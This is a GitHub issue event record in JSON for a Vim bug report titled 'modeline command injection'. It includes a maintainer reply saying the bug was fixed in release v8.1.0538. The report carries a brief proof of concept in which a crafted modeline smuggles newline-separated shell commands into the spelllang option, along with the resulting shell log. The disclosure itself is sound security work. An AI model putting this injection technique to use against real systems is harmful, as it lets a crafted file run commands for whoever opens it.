{"action":"created","issue":{"url":"https://api.github.com/repos/vim/vim/issues/3623","repository_url":"https://api.github.com/repos/vim/vim","labels_url":"https://api.github.com/repos/vim/vim/issues/3623/labels{/name}","comments_url":"https://api.github.com/repos/vim/vim/issues/3623/comments","events_url":"https://api.github.com/repos/vim/vim/issues/3623/events","html_url":"https://github.com/vim/vim/issues/3623","id":382184488,"node_id":"MDU6SXNzdWUzODIxODQ0ODg=","number":3623,"title":"modeline command injection","user":{"login":"p-hueber","id":45110470,"node_id":"MDQ6VXNlcjQ1MTEwNDcw","avatar_url":"https://avatars3.githubusercontent.com/u/45110470?v=4","gravatar_id":"","url":"https://api.github.com/users/p-hueber","html_url":"https://github.com/p-hueber","followers_url":"https://api.github.com/users/p-hueber/followers","following_url":"https://api.github.com/users/p-hueber/following{/other_user}","gists_url":"https://api.github.com/users/p-hueber/gists{/gist_id}","starred_url":"https://api.github.com/users/p-hueber/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/p-hueber/subscriptions","organizations_url":"https://api.github.com/users/p-hueber/orgs","repos_url":"https://api.github.com/users/p-hueber/repos","events_url":"https://api.github.com/users/p-hueber/events{/privacy}","received_events_url":"https://api.github.com/users/p-hueber/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2018-11-19T12:03:47Z","updated_at":"2018-11-20T11:16:10Z","closed_at":"2018-11-20T11:16:10Z","author_association":"NONE","body":"Setting *spelllang* (and possibly others) supports wildcard expansion through $SHELL. Unfortunately, it does not escape newline characters, which can be abused to execute additional commands.\r\n\r\nThis is a small proof of concept that works for bash:\r\n```\r\n➤ test -e /tmp/helloworld && echo exists\r\n➤ printf 'vim: spl=\\0IFS=X\\0CMD=touchX/tmp/helloworld\\0\\$CMD\\ ' | vim --clean -c 'q!' -\r\nVim: Reading from stdin...\r\n\r\n➤ test -e /tmp/helloworld && echo exists\r\nexists\r\n```\r\n\r\nSome details:\r\n*readline()* substitutes '\\0' with '\\n' as these do not occur inside a line anyway.\r\nWith -V4 you can see the executed command, with ^@ being a newline character.\r\n`Calling shell to execute: \"unset nonomatch; vimglob() { while [ $# -ge 1 ]; do echo \"$1\r\n\"; shift; done }; vimglob >/tmp/vtuAlnU/1 /usr/share/vim/vim81/spell/^@IFS=X^@CMD=touch\r\nX/tmp/helloworld^@$CMD\"`\r\n\r\nI'm not sure what's the best way to fix this. Filtering newlines would work for this example, but there might be more ways to exploit this. E.g. escaped whitespace in the value breaks things in different ways. I think setting options through modeline should ignore patterns entirely."},"comment":{"url":"https://api.github.com/repos/vim/vim/issues/comments/440237594","html_url":"https://github.com/vim/vim/issues/3623#issuecomment-440237594","issue_url":"https://api.github.com/repos/vim/vim/issues/3623","id":440237594,"node_id":"MDEyOklzc3VlQ29tbWVudDQ0MDIzNzU5NA==","user":{"login":"chrisbra","id":244927,"node_id":"MDQ6VXNlcjI0NDkyNw==","avatar_url":"https://avatars0.githubusercontent.com/u/244927?v=4","gravatar_id":"","url":"https://api.github.com/users/chrisbra","html_url":"https://github.com/chrisbra","followers_url":"https://api.github.com/users/chrisbra/followers","following_url":"https://api.github.com/users/chrisbra/following{/other_user}","gists_url":"https://api.github.com/users/chrisbra/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisbra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisbra/subscriptions","organizations_url":"https://api.github.com/users/chrisbra/orgs","repos_url":"https://api.github.com/users/chrisbra/repos","events_url":"https://api.github.com/users/chrisbra/events{/privacy}","received_events_url":"https://api.github.com/users/chrisbra/received_events","type":"User","site_admin":false},"created_at":"2018-11-20T11:16:10Z","updated_at":"2018-11-20T11:16:10Z","author_association":"MEMBER","body":"fixed by https://github.com/vim/vim/releases/tag/v8.1.0538"}}
{"actor":{"display_login":"chrisbra"}}